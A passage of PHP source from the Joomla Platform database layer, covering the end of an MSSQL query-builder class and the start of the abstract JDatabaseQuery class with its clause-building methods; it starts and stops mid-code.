else
{
$query = substr_replace($query, 'SELECT TOP ' . (int) $total,
$position, 6);
}
}
if (!$offset)
{
return $query;
}
return PHP_EOL
. 'SELECT * FROM (SELECT *, ROW_NUMBER() OVER (ORDER BY (SELECT 0))
AS RowNumber FROM ('
. $query
. PHP_EOL . ') AS A) AS A WHERE RowNumber > ' . (int)
$offset;
}
/**
* Sets the offset and limit for the result set, if the database driver
supports it.
*
* Usage:
* $query->setLimit(100, 0); (retrieve 100 rows, starting at first
record)
* $query->setLimit(50, 50); (retrieve 50 rows, starting at 50th
record)
*
* @param integer $limit The limit for the result set
* @param integer $offset The offset for the result set
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 3.0.0
*/
public function setLimit($limit = 0, $offset = 0)
{
$this->limit = (int) $limit;
$this->offset = (int) $offset;
return $this;
}
/**
* Split a string of sql expression into an array of individual columns.
* Single line or line end comments and multi line comments are stripped
off.
* Always return at least one column.
*
* @param string $string Input string of sql expression like select
expression.
*
* @return array[] The columns from the input string separated into an
array.
*
* @since 3.7.0
*/
protected function splitSqlExpression($string)
{
// Append whitespace as equivalent to the last comma
$string .= ' ';
$colIdx = 0;
$start = 0;
$open = false;
$openC = 0;
$comment = false;
$endString = '';
$length = strlen($string);
$columns = array();
$column = array();
$current = '';
$previous = null;
$operators = array(
'+' => '',
'-' => '',
'*' => '',
'/' => '',
'%' => '',
'&' => '',
'|' => '',
'~' => '',
'^' => '',
);
$addBlock = function ($block) use (&$column, &$colIdx)
{
if (isset($column[$colIdx]))
{
$column[$colIdx] .= $block;
}
else
{
$column[$colIdx] = $block;
}
};
for ($i = 0; $i < $length; $i++)
{
$current = substr($string, $i, 1);
$current2 = substr($string, $i, 2);
$current3 = substr($string, $i, 3);
$lenEndString = strlen($endString);
$testEnd = substr($string, $i, $lenEndString);
if ($current == '[' || $current == '"' ||
$current == "'" || $current2 == '--'
|| ($current2 == '/*') || ($current == '#'
&& $current3 != '#__')
|| ($lenEndString && $testEnd == $endString))
{
if ($open)
{
if ($testEnd === $endString)
{
if ($comment)
{
if ($lenEndString > 1)
{
$i += ($lenEndString - 1);
}
// Move cursor after close tag of comment
$start = $i + 1;
$comment = false;
}
elseif ($current == "'" || $current == ']'
|| $current == '"')
{
// Check for escaped quote like '', ]] or ""
$n = 1;
while ($i + $n < $length && $string[$i + $n] == $current)
{
$n++;
}
// Jump to the last quote
$i += $n - 1;
if ($n % 2 === 0)
{
// There is only escaped quote
continue;
}
elseif ($n > 2)
{
// The last right close quote is not escaped
$current = $string[$i];
}
}
$open = false;
$endString = '';
}
}
else
{
$open = true;
if ($current == '#' || $current2 == '--')
{
$endString = "\n";
$comment = true;
}
elseif ($current2 == '/*')
{
$endString = '*/';
$comment = true;
}
elseif ($current == '[')
{
$endString = ']';
}
else
{
$endString = $current;
}
if ($comment && $start < $i)
{
// Add string exists before comment
$addBlock(substr($string, $start, $i - $start));
$previous = $string[$i - 1];
$start = $i;
}
}
}
elseif (!$open)
{
if ($current == '(')
{
$openC++;
$previous = $current;
}
elseif ($current == ')')
{
$openC--;
$previous = $current;
}
elseif ($current == '.')
{
if ($i === $start && $colIdx > 0 &&
!isset($column[$colIdx]))
{
// Remove whitepace placed before dot
$colIdx--;
}
$previous = $current;
}
elseif ($openC === 0)
{
if (ctype_space($current))
{
// Normalize whitepace
$string[$i] = ' ';
if ($start < $i)
{
// Add text placed before whitespace
$addBlock(substr($string, $start, $i - $start));
$colIdx++;
$previous = $string[$i - 1];
}
elseif (isset($column[$colIdx]))
{
if ($colIdx > 1 || !isset($operators[$previous]))
{
// There was whitespace after comment
$colIdx++;
}
}
// Move cursor forward
$start = $i + 1;
}
elseif (isset($operators[$current]) && ($current !==
'*' || $previous !== '.'))
{
if ($start < $i)
{
// Add text before operator
$addBlock(substr($string, $start, $i - $start));
$colIdx++;
}
elseif (!isset($column[$colIdx]) &&
isset($operators[$previous]))
{
// Do not create whitespace between operators
$colIdx--;
}
// Add operator
$addBlock($current);
$previous = $current;
$colIdx++;
// Move cursor forward
$start = $i + 1;
}
else
{
$previous = $current;
}
}
}
if (($current == ',' && !$open && $openC == 0)
|| $i == $length - 1)
{
if ($start < $i && !$comment)
{
// Save remaining text
$addBlock(substr($string, $start, $i - $start));
}
$columns[] = $column;
// Reset values
$column = array();
$colIdx = 0;
$previous = null;
// Column saved, move cursor forward after comma
$start = $i + 1;
}
}
return $columns;
}
/**
* Add required aliases to columns for select statement in subquery.
*
* @return array[] Array of columns with added missing aliases.
*
* @since 3.7.0
*/
protected function fixSelectAliases()
{
$operators = array(
'+' => '',
'-' => '',
'*' => '',
'/' => '',
'%' => '',
'&' => '',
'|' => '',
'~' => '',
'^' => '',
);
// Split into array and remove comments
$columns = $this->splitSqlExpression(implode(',',
$this->select->getElements()));
foreach ($columns as $i => $column)
{
$size = count($column);
if ($size == 0)
{
continue;
}
if ($size > 2 && strcasecmp($column[$size - 2],
'AS') === 0)
{
// Alias exists, replace it to uppercase
$columns[$i][$size - 2] = 'AS';
continue;
}
if ($i == 0 && stripos(' DISTINCT ALL ', "
$column[0] ") !== false)
{
// This words are reserved, they are not column names
array_shift($column);
$size--;
}
$lastWord = strtoupper($column[$size - 1]);
$length = strlen($lastWord);
$lastChar = $lastWord[$length - 1];
if ($lastChar == '*')
{
// Skip on wildcard
continue;
}
if ($lastChar == ')'
|| ($size == 1 && $lastChar == "'")
|| $lastWord[0] == '@'
|| $lastWord == 'NULL'
|| $lastWord == 'END'
|| is_numeric($lastWord))
{
/* Ends with:
* - SQL function
* - single static value like 'only '+'string'
* - @@var
* - NULL
* - CASE ... END
* - Numeric
*/
$columns[$i][] = 'AS';
$columns[$i][] = $this->quoteName('columnAlias' . $i);
continue;
}
if ($size == 1)
{
continue;
}
$lastChar2 = substr($column[$size - 2], -1);
// Check if column ends with '- a.x' or '- a. x'
if (isset($operators[$lastChar2])
|| ($size > 2 && $lastChar2 === '.' &&
isset($operators[substr($column[$size - 3], -1)])))
{
// Ignore plus signs if column start with them
if ($size != 2 || ltrim($column[0], '+') !== '' ||
$column[1][0] === "'")
{
// If operator exists before last word then alias is required for
subquery
$columns[$i][] = 'AS';
$columns[$i][] = $this->quoteName('columnAlias' . $i);
continue;
}
}
elseif ($column[$size - 1][0] !== '.' && $lastChar2
!== '.')
{
// If columns is like name name2 then second word is alias.
// Add missing AS before the alias, exception for 'a. x' and
'a .x'
array_splice($columns[$i], -1, 0, 'AS');
}
}
$selectColumns = array();
foreach ($columns as $i => $column)
{
$selectColumns[$i] = implode(' ', $column);
}
$this->select = new JDatabaseQueryElement('SELECT',
$selectColumns);
return $columns;
}
/**
* Add missing columns names to GROUP BY clause.
*
* @param array[] $selectColumns Array of columns from
splitSqlExpression method.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 3.7.0
*/
protected function fixGroupColumns($selectColumns)
{
// Cache tables columns
static $cacheCols = array();
// Known columns of all included tables
$knownColumnsByAlias = array();
$iquotes = array('"' => '', '['
=> '', "'" => '');
$nquotes = array('"', '[', ']');
// Aggregate functions
$aFuncs = array(
'AVG(',
'CHECKSUM_AGG(',
'COUNT(',
'COUNT_BIG(',
'GROUPING(',
'GROUPING_ID(',
'MIN(',
'MAX(',
'SUM(',
'STDEV(',
'STDEVP(',
'VAR(',
'VARP(',
);
// Aggregated columns
$filteredColumns = array();
// Aliases found in SELECT statement
$knownAliases = array();
$wildcardTables = array();
foreach ($selectColumns as $i => $column)
{
$size = count($column);
if ($size === 0)
{
continue;
}
if ($i == 0 && stripos(' DISTINCT ALL ', "
$column[0] ") !== false)
{
// These words are reserved, they are not column names
array_shift($selectColumns[0]);
array_shift($column);
$size--;
}
if ($size > 2 && $column[$size - 2] === 'AS')
{
// Save and remove AS alias
$alias = $column[$size - 1];
if (isset($iquotes[$alias[0]]))
{
$alias = substr($alias, 1, -1);
}
// Remove alias
$selectColumns[$i] = $column = array_slice($column, 0, -2);
if ($size === 3 || ($size === 4 &&
strpos('+-*/%&|~^', $column[0][0]) !== false))
{
$lastWord = $column[$size - 3];
if ($lastWord[0] === "'" || $lastWord ===
'NULL' || is_numeric($lastWord))
{
unset($selectColumns[$i]);
continue;
}
}
// Remember pair alias => column expression
$knownAliases[$alias] = implode(' ', $column);
}
$aggregated = false;
foreach ($column as $j => $block)
{
if (substr($block, -2) === '.*')
{
// Found column ends with .*
if (isset($iquotes[$block[0]]))
{
// Quoted table
$wildcardTables[] = substr($block, 1, -3);
}
else
{
$wildcardTables[] = substr($block, 0, -2);
}
}
elseif (str_ireplace($aFuncs, '', $block) != $block)
{
$aggregated = true;
}
if ($block[0] === "'")
{
// Shrink static strings which could contain column name
$column[$j] = "''";
}
}
if (!$aggregated)
{
// Without aggregated columns and aliases
$filteredColumns[] = implode(' ', $selectColumns[$i]);
}
// Without aliases and static strings
$selectColumns[$i] = implode(' ', $column);
}
// If select statement use table.* expression
if ($wildcardTables)
{
// Split FROM statement into list of tables
$tables = $this->splitSqlExpression(implode(',',
$this->from->getElements()));
foreach ($tables as $i => $table)
{
$table = implode(' ', $table);
// Exclude subquery from the FROM clause
if (strpos($table, '(') === false)
{
// Unquote
$table = str_replace($nquotes, '', $table);
$table = str_replace('#__', $this->db->getPrefix(),
$table);
$table = explode(' ', $table);
$alias = end($table);
$table = $table[0];
// Chek if exists a wildcard with current alias table?
if (in_array($alias, $wildcardTables, true))
{
if (!isset($cacheCols[$table]))
{
$cacheCols[$table] = $this->db->getTableColumns($table);
}
if ($this->join || $table != $alias)
{
foreach ($cacheCols[$table] as $name => $type)
{
$knownColumnsByAlias[$alias][] = $alias . '.' . $name;
}
}
else
{
foreach ($cacheCols[$table] as $name => $type)
{
$knownColumnsByAlias[$alias][] = $name;
}
}
}
}
}
// Now we need to get all tables from any joins
// Go through all joins and add them to the tables array
if ($this->join)
{
foreach ($this->join as $join)
{
// Unquote and replace prefix
$joinTbl = str_replace($nquotes, '', (string) $join);
$joinTbl = str_replace("#__", $this->db->getPrefix(),
$joinTbl);
// Exclude subquery
if (preg_match('/JOIN\s+(\w+)(?:\s+AS)?(?:\s+(\w+))?/i',
$joinTbl, $matches))
{
$table = $matches[1];
$alias = isset($matches[2]) ? $matches[2] : $table;
// Chek if exists a wildcard with current alias table?
if (in_array($alias, $wildcardTables, true))
{
if (!isset($cacheCols[$table]))
{
$cacheCols[$table] = $this->db->getTableColumns($table);
}
foreach ($cacheCols[$table] as $name => $type)
{
$knownColumnsByAlias[$alias][] = $alias . '.' . $name;
}
}
}
}
}
}
$selectExpression = implode(',', $selectColumns);
// Split into the right columns
$groupColumns = $this->splitSqlExpression(implode(',',
$this->group->getElements()));
// Remove column aliases from GROUP statement - SQLSRV does not support
it
foreach ($groupColumns as $i => $column)
{
$groupColumns[$i] = implode(' ', $column);
$column = str_replace($nquotes, '', $groupColumns[$i]);
if (isset($knownAliases[$column]))
{
// Be sure that this is not a valid column name
if (!preg_match('/\b' . preg_quote($column, '/') .
'\b/', $selectExpression))
{
// Replace column alias by column expression
$groupColumns[$i] = $knownAliases[$column];
}
}
}
// Find all alias.* and fill with proper table column names
foreach ($filteredColumns as $i => $column)
{
if (substr($column, -2) === '.*')
{
unset($filteredColumns[$i]);
// Extract alias.* columns into GROUP BY statement
$groupColumns = array_merge($groupColumns,
$knownColumnsByAlias[substr($column, 0, -2)]);
}
}
$groupColumns = array_merge($groupColumns, $filteredColumns);
if ($this->order)
{
// Remove direction suffixes
$dir = array(" DESC\v", " ASC\v");
$orderColumns = $this->splitSqlExpression(implode(',',
$this->order->getElements()));
foreach ($orderColumns as $i => $column)
{
$column = implode(' ', $column);
$orderColumns[$i] = $column = trim(str_ireplace($dir, '',
"$column\v"), "\v");
if (isset($knownAliases[str_replace($nquotes, '', $column)]))
{
unset($orderColumns[$i]);
}
if (str_ireplace($aFuncs, '', $column) != $column)
{
// Do not add aggregate expression
unset($orderColumns[$i]);
}
}
$groupColumns = array_merge($groupColumns, $orderColumns);
}
// Get a unique string of all column names that need to be included in
the group statement
$this->group = new JDatabaseQueryElement('GROUP BY',
array_unique($groupColumns));
return $this;
}
/**
* Return correct rand() function for MSSQL.
*
* Ensure that the rand() function is MSSQL compatible.
*
* Usage:
* $query->Rand();
*
* @return string The correct rand function.
*
* @since 3.5
*/
public function Rand()
{
return ' NEWID() ';
}
}
database/query.php000064400000130200151171674100010165 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Query Building Class.
*
* @since 1.7.0
*
* @method string q() q($text, $escape = true) Alias for quote
method
* @method string qn() qn($name, $as = null) Alias for quoteName
method
* @method string e() e($text, $extra = false) Alias for escape
method
* @property-read JDatabaseQueryElement $type
* @property-read JDatabaseQueryElement $select
* @property-read JDatabaseQueryElement $group
* @property-read JDatabaseQueryElement $having
*/
abstract class JDatabaseQuery
{
/**
* @var JDatabaseDriver The database driver.
* @since 1.7.0
*/
protected $db = null;
/**
* @var string The SQL query (if a direct query string was provided).
* @since 3.0.0
*/
protected $sql = null;
/**
* @var string The query type.
* @since 1.7.0
*/
protected $type = '';
/**
* @var JDatabaseQueryElement The query element for a generic query
(type = null).
* @since 1.7.0
*/
protected $element = null;
/**
* @var JDatabaseQueryElement The select element.
* @since 1.7.0
*/
protected $select = null;
/**
* @var JDatabaseQueryElement The delete element.
* @since 1.7.0
*/
protected $delete = null;
/**
* @var JDatabaseQueryElement The update element.
* @since 1.7.0
*/
protected $update = null;
/**
* @var JDatabaseQueryElement The insert element.
* @since 1.7.0
*/
protected $insert = null;
/**
* @var JDatabaseQueryElement The from element.
* @since 1.7.0
*/
protected $from = null;
/**
* @var JDatabaseQueryElement The join element.
* @since 1.7.0
*/
protected $join = null;
/**
* @var JDatabaseQueryElement The set element.
* @since 1.7.0
*/
protected $set = null;
/**
* @var JDatabaseQueryElement The where element.
* @since 1.7.0
*/
protected $where = null;
/**
* @var JDatabaseQueryElement The group by element.
* @since 1.7.0
*/
protected $group = null;
/**
* @var JDatabaseQueryElement The having element.
* @since 1.7.0
*/
protected $having = null;
/**
* @var JDatabaseQueryElement The column list for an INSERT statement.
* @since 1.7.0
*/
protected $columns = null;
/**
* @var JDatabaseQueryElement The values list for an INSERT statement.
* @since 1.7.0
*/
protected $values = null;
/**
* @var JDatabaseQueryElement The order element.
* @since 1.7.0
*/
protected $order = null;
/**
* @var object The auto increment insert field element.
* @since 1.7.0
*/
protected $autoIncrementField = null;
/**
* @var JDatabaseQueryElement The call element.
* @since 3.0.0
*/
protected $call = null;
/**
* @var JDatabaseQueryElement The exec element.
* @since 3.0.0
*/
protected $exec = null;
/**
* @var JDatabaseQueryElement The union element.
* @since 3.0.0
* @deprecated 4.0 Will be transformed and moved to $merge variable.
*/
protected $union = null;
/**
* @var JDatabaseQueryElement The unionAll element.
* @since 3.2.0
* @deprecated 4.0 Will be transformed and moved to $merge variable.
*/
protected $unionAll = null;
/**
* @var array Details of window function.
* @since 3.7.0
*/
protected $selectRowNumber = null;
/**
* Magic method to provide method alias support for quote() and
quoteName().
*
* @param string $method The called method.
* @param array $args The array of arguments passed to the method.
*
* @return string The aliased method's return value or null.
*
* @since 1.7.0
*/
public function __call($method, $args)
{
if (empty($args))
{
return;
}
switch ($method)
{
case 'q':
return $this->quote($args[0], isset($args[1]) ? $args[1] : true);
break;
case 'qn':
return $this->quoteName($args[0], isset($args[1]) ? $args[1] :
null);
break;
case 'e':
return $this->escape($args[0], isset($args[1]) ? $args[1] : false);
break;
}
}
/**
* Class constructor.
*
* @param JDatabaseDriver $db The database driver.
*
* @since 1.7.0
*/
public function __construct(JDatabaseDriver $db = null)
{
$this->db = $db;
}
/**
* Magic function to convert the query to a string.
*
* @return string The completed query.
*
* @since 1.7.0
*/
public function __toString()
{
$query = '';
if ($this->sql)
{
return $this->sql;
}
switch ($this->type)
{
case 'element':
$query .= (string) $this->element;
break;
case 'select':
$query .= (string) $this->select;
$query .= (string) $this->from;
if ($this->join)
{
// Special case for joins
foreach ($this->join as $join)
{
$query .= (string) $join;
}
}
if ($this->where)
{
$query .= (string) $this->where;
}
if ($this->selectRowNumber === null)
{
if ($this->group)
{
$query .= (string) $this->group;
}
if ($this->having)
{
$query .= (string) $this->having;
}
if ($this->union)
{
$query .= (string) $this->union;
}
if ($this->unionAll)
{
$query .= (string) $this->unionAll;
}
}
if ($this->order)
{
$query .= (string) $this->order;
}
break;
case 'delete':
$query .= (string) $this->delete;
$query .= (string) $this->from;
if ($this->join)
{
// Special case for joins
foreach ($this->join as $join)
{
$query .= (string) $join;
}
}
if ($this->where)
{
$query .= (string) $this->where;
}
if ($this->order)
{
$query .= (string) $this->order;
}
break;
case 'update':
$query .= (string) $this->update;
if ($this->join)
{
// Special case for joins
foreach ($this->join as $join)
{
$query .= (string) $join;
}
}
$query .= (string) $this->set;
if ($this->where)
{
$query .= (string) $this->where;
}
if ($this->order)
{
$query .= (string) $this->order;
}
break;
case 'insert':
$query .= (string) $this->insert;
// Set method
if ($this->set)
{
$query .= (string) $this->set;
}
// Columns-Values method
elseif ($this->values)
{
if ($this->columns)
{
$query .= (string) $this->columns;
}
$elements = $this->values->getElements();
if (!($elements[0] instanceof $this))
{
$query .= ' VALUES ';
}
$query .= (string) $this->values;
}
break;
case 'call':
$query .= (string) $this->call;
break;
case 'exec':
$query .= (string) $this->exec;
break;
}
if ($this instanceof JDatabaseQueryLimitable)
{
$query = $this->processLimit($query, $this->limit,
$this->offset);
}
return $query;
}
/**
* Magic function to get protected variable value
*
* @param string $name The name of the variable.
*
* @return mixed
*
* @since 1.7.0
*/
public function __get($name)
{
return isset($this->$name) ? $this->$name : null;
}
/**
* Add a single column, or array of columns to the CALL clause of the
query.
*
* Note that you must not mix insert, update, delete and select method
calls when building a query.
* The call method can, however, be called multiple times in the same
query.
*
* Usage:
* $query->call('a.*')->call('b.id');
* $query->call(array('a.*', 'b.id'));
*
* @param mixed $columns A string or an array of field names.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 3.0.0
*/
public function call($columns)
{
$this->type = 'call';
if (is_null($this->call))
{
$this->call = new JDatabaseQueryElement('CALL', $columns);
}
else
{
$this->call->append($columns);
}
return $this;
}
/**
* Casts a value to a char.
*
* Ensure that the value is properly quoted before passing to the method.
*
* Usage:
* $query->select($query->castAsChar('a'));
*
* @param string $value The value to cast as a char.
*
* @return string Returns the cast value.
*
* @since 1.7.0
*/
public function castAsChar($value)
{
return $value;
}
/**
* Gets the number of characters in a string.
*
* Note, use 'length' to find the number of bytes in a string.
*
* Usage:
* $query->select($query->charLength('a'));
*
* @param string $field A value.
* @param string $operator Comparison operator between charLength
integer value and $condition
* @param string $condition Integer value to compare charLength with.
*
* @return string The required char length call.
*
* @since 1.7.0
*/
public function charLength($field, $operator = null, $condition = null)
{
return 'CHAR_LENGTH(' . $field . ')' .
(isset($operator) && isset($condition) ? ' ' . $operator
. ' ' . $condition : '');
}
/**
* Clear data from the query or a specific clause of the query.
*
* @param string $clause Optionally, the name of the clause to clear,
or nothing to clear the whole query.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 1.7.0
*/
public function clear($clause = null)
{
$this->sql = null;
switch ($clause)
{
case 'select':
$this->select = null;
$this->type = null;
$this->selectRowNumber = null;
break;
case 'delete':
$this->delete = null;
$this->type = null;
break;
case 'update':
$this->update = null;
$this->type = null;
break;
case 'insert':
$this->insert = null;
$this->type = null;
$this->autoIncrementField = null;
break;
case 'from':
$this->from = null;
break;
case 'join':
$this->join = null;
break;
case 'set':
$this->set = null;
break;
case 'where':
$this->where = null;
break;
case 'group':
$this->group = null;
break;
case 'having':
$this->having = null;
break;
case 'order':
$this->order = null;
break;
case 'columns':
$this->columns = null;
break;
case 'values':
$this->values = null;
break;
case 'exec':
$this->exec = null;
$this->type = null;
break;
case 'call':
$this->call = null;
$this->type = null;
break;
case 'limit':
$this->offset = 0;
$this->limit = 0;
break;
case 'offset':
$this->offset = 0;
break;
case 'union':
$this->union = null;
break;
case 'unionAll':
$this->unionAll = null;
break;
default:
$this->type = null;
$this->select = null;
$this->selectRowNumber = null;
$this->delete = null;
$this->update = null;
$this->insert = null;
$this->from = null;
$this->join = null;
$this->set = null;
$this->where = null;
$this->group = null;
$this->having = null;
$this->order = null;
$this->columns = null;
$this->values = null;
$this->autoIncrementField = null;
$this->exec = null;
$this->call = null;
$this->union = null;
$this->unionAll = null;
$this->offset = 0;
$this->limit = 0;
break;
}
return $this;
}
/**
* Adds a column, or array of column names that would be used for an
INSERT INTO statement.
*
* @param mixed $columns A column name, or array of column names.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 1.7.0
*/
public function columns($columns)
{
if (is_null($this->columns))
{
$this->columns = new JDatabaseQueryElement('()', $columns);
}
else
{
$this->columns->append($columns);
}
return $this;
}
/**
* Concatenates an array of column names or values.
*
* Usage:
* $query->select($query->concatenate(array('a',
'b')));
*
* @param array $values An array of values to concatenate.
* @param string $separator As separator to place between each value.
*
* @return string The concatenated values.
*
* @since 1.7.0
*/
public function concatenate($values, $separator = null)
{
if ($separator)
{
return 'CONCATENATE(' . implode(' || ' .
$this->quote($separator) . ' || ', $values) . ')';
}
else
{
return 'CONCATENATE(' . implode(' || ', $values) .
')';
}
}
/**
* Gets the current date and time.
*
* Usage:
* $query->where('published_up <
'.$query->currentTimestamp());
*
* @return string
*
* @since 1.7.0
*/
public function currentTimestamp()
{
return 'CURRENT_TIMESTAMP()';
}
/**
* Returns a PHP date() function compliant date format for the database
driver.
*
* This method is provided for use where the query object is passed to a
function for modification.
* If you have direct access to the database object, it is recommended you
use the getDateFormat method directly.
*
* @return string The format string.
*
* @since 1.7.0
*/
public function dateFormat()
{
if (!($this->db instanceof JDatabaseDriver))
{
throw new
RuntimeException('JLIB_DATABASE_ERROR_INVALID_DB_OBJECT');
}
return $this->db->getDateFormat();
}
/**
* Creates a formatted dump of the query for debugging purposes.
*
* Usage:
* echo $query->dump();
*
* @return string
*
* @since 1.7.3
*/
public function dump()
{
return '<pre class="jdatabasequery">' .
str_replace('#__', $this->db->getPrefix(), $this) .
'</pre>';
}
/**
* Add a table name to the DELETE clause of the query.
*
* Note that you must not mix insert, update, delete and select method
calls when building a query.
*
* Usage:
* $query->delete('#__a')->where('id = 1');
*
* @param string $table The name of the table to delete from.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 1.7.0
*/
public function delete($table = null)
{
$this->type = 'delete';
$this->delete = new JDatabaseQueryElement('DELETE', null);
if (!empty($table))
{
$this->from($table);
}
return $this;
}
/**
* Method to escape a string for usage in an SQL statement.
*
* This method is provided for use where the query object is passed to a
function for modification.
* If you have direct access to the database object, it is recommended you
use the escape method directly.
*
* Note that 'e' is an alias for this method as it is in
JDatabaseDriver.
*
* @param string $text The string to be escaped.
* @param boolean $extra Optional parameter to provide extra escaping.
*
* @return string The escaped string.
*
* @since 1.7.0
* @throws RuntimeException if the internal db property is not a valid
object.
*/
public function escape($text, $extra = false)
{
if (!($this->db instanceof JDatabaseDriver))
{
throw new
RuntimeException('JLIB_DATABASE_ERROR_INVALID_DB_OBJECT');
}
return $this->db->escape($text, $extra);
}
/**
* Add a single column, or array of columns to the EXEC clause of the
query.
*
* Note that you must not mix insert, update, delete and select method
calls when building a query.
* The exec method can, however, be called multiple times in the same
query.
*
* Usage:
* $query->exec('a.*')->exec('b.id');
* $query->exec(array('a.*', 'b.id'));
*
* @param mixed $columns A string or an array of field names.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 3.0.0
*/
public function exec($columns)
{
$this->type = 'exec';
if (is_null($this->exec))
{
$this->exec = new JDatabaseQueryElement('EXEC', $columns);
}
else
{
$this->exec->append($columns);
}
return $this;
}
/**
* Add a table to the FROM clause of the query.
*
* Note that while an array of tables can be provided, it is recommended
you use explicit joins.
*
* Usage:
* $query->select('*')->from('#__a');
*
* @param mixed $tables A string or array of table names.
* This can be a JDatabaseQuery object
(or a child of it) when used
* as a subquery in FROM clause along
with a value for $subQueryAlias.
* @param string $subQueryAlias Alias used when $tables is a
JDatabaseQuery.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @throws RuntimeException
*
* @since 1.7.0
*/
public function from($tables, $subQueryAlias = null)
{
if (is_null($this->from))
{
if ($tables instanceof $this)
{
if (is_null($subQueryAlias))
{
throw new
RuntimeException('JLIB_DATABASE_ERROR_NULL_SUBQUERY_ALIAS');
}
$tables = '( ' . (string) $tables . ' ) AS ' .
$this->quoteName($subQueryAlias);
}
$this->from = new JDatabaseQueryElement('FROM', $tables);
}
else
{
$this->from->append($tables);
}
return $this;
}
/**
* Used to get a string to extract year from date column.
*
* Usage:
*
$query->select($query->year($query->quoteName('dateColumn')));
*
* @param string $date Date column containing year to be extracted.
*
* @return string Returns string to extract year from a date.
*
* @since 3.0.0
*/
public function year($date)
{
return 'YEAR(' . $date . ')';
}
/**
* Used to get a string to extract month from date column.
*
* Usage:
*
$query->select($query->month($query->quoteName('dateColumn')));
*
* @param string $date Date column containing month to be extracted.
*
* @return string Returns string to extract month from a date.
*
* @since 3.0.0
*/
public function month($date)
{
return 'MONTH(' . $date . ')';
}
/**
* Used to get a string to extract day from date column.
*
* Usage:
*
$query->select($query->day($query->quoteName('dateColumn')));
*
* @param string $date Date column containing day to be extracted.
*
* @return string Returns string to extract day from a date.
*
* @since 3.0.0
*/
public function day($date)
{
return 'DAY(' . $date . ')';
}
/**
* Used to get a string to extract hour from date column.
*
* Usage:
*
$query->select($query->hour($query->quoteName('dateColumn')));
*
* @param string $date Date column containing hour to be extracted.
*
* @return string Returns string to extract hour from a date.
*
* @since 3.0.0
*/
public function hour($date)
{
return 'HOUR(' . $date . ')';
}
/**
* Used to get a string to extract minute from date column.
*
* Usage:
*
$query->select($query->minute($query->quoteName('dateColumn')));
*
* @param string $date Date column containing minute to be extracted.
*
* @return string Returns string to extract minute from a date.
*
* @since 3.0.0
*/
public function minute($date)
{
return 'MINUTE(' . $date . ')';
}
/**
* Used to get a string to extract seconds from date column.
*
* Usage:
*
$query->select($query->second($query->quoteName('dateColumn')));
*
* @param string $date Date column containing second to be extracted.
*
* @return string Returns string to extract second from a date.
*
* @since 3.0.0
*/
public function second($date)
{
return 'SECOND(' . $date . ')';
}
/**
* Add a grouping column to the GROUP clause of the query.
*
* Usage:
* $query->group('id');
*
* @param mixed $columns A string or array of ordering columns.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 1.7.0
*/
public function group($columns)
{
if (is_null($this->group))
{
$this->group = new JDatabaseQueryElement('GROUP BY',
$columns);
}
else
{
$this->group->append($columns);
}
return $this;
}
/**
* A conditions to the HAVING clause of the query.
*
* Usage:
* $query->group('id')->having('COUNT(id) >
5');
*
* @param mixed $conditions A string or array of columns.
* @param string $glue The glue by which to join the conditions.
Defaults to AND.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 1.7.0
*/
public function having($conditions, $glue = 'AND')
{
if (is_null($this->having))
{
$glue = strtoupper($glue);
$this->having = new JDatabaseQueryElement('HAVING',
$conditions, " $glue ");
}
else
{
$this->having->append($conditions);
}
return $this;
}
/**
* Add an INNER JOIN clause to the query.
*
* Usage:
* $query->innerJoin('b ON b.id =
a.id')->innerJoin('c ON c.id = b.id');
*
* @param string $condition The join condition.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 1.7.0
*/
public function innerJoin($condition)
{
$this->join('INNER', $condition);
return $this;
}
/**
* Add a table name to the INSERT clause of the query.
*
* Note that you must not mix insert, update, delete and select method
calls when building a query.
*
* Usage:
* $query->insert('#__a')->set('id = 1');
* $query->insert('#__a')->columns('id,
title')->values('1,2')->values('3,4');
* $query->insert('#__a')->columns('id,
title')->values(array('1,2', '3,4'));
*
* @param mixed $table The name of the table to insert data
into.
* @param boolean $incrementField The name of the field to auto
increment.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 1.7.0
*/
public function insert($table, $incrementField=false)
{
$this->type = 'insert';
$this->insert = new JDatabaseQueryElement('INSERT INTO',
$table);
$this->autoIncrementField = $incrementField;
return $this;
}
/**
* Add a JOIN clause to the query.
*
* Usage:
* $query->join('INNER', 'b ON b.id = a.id);
*
* @param string $type The type of join. This string is
prepended to the JOIN keyword.
* @param string $conditions A string or array of conditions.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 1.7.0
*/
public function join($type, $conditions)
{
if (is_null($this->join))
{
$this->join = array();
}
$this->join[] = new JDatabaseQueryElement(strtoupper($type) . '
JOIN', $conditions);
return $this;
}
/**
* Add a LEFT JOIN clause to the query.
*
* Usage:
* $query->leftJoin('b ON b.id = a.id')->leftJoin('c
ON c.id = b.id');
*
* @param string $condition The join condition.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 1.7.0
*/
public function leftJoin($condition)
{
$this->join('LEFT', $condition);
return $this;
}
/**
* Get the length of a string in bytes.
*
* Note, use 'charLength' to find the number of characters in a
string.
*
* Usage:
* query->where($query->length('a').' > 3');
*
* @param string $value The string to measure.
*
* @return int
*
* @since 1.7.0
*/
public function length($value)
{
return 'LENGTH(' . $value . ')';
}
/**
* Get the null or zero representation of a timestamp for the database
driver.
*
* This method is provided for use where the query object is passed to a
function for modification.
* If you have direct access to the database object, it is recommended you
use the nullDate method directly.
*
* Usage:
* $query->where('modified_date <>
'.$query->nullDate());
*
* @param boolean $quoted Optionally wraps the null date in database
quotes (true by default).
*
* @return string Null or zero representation of a timestamp.
*
* @since 1.7.0
*/
public function nullDate($quoted = true)
{
if (!($this->db instanceof JDatabaseDriver))
{
throw new
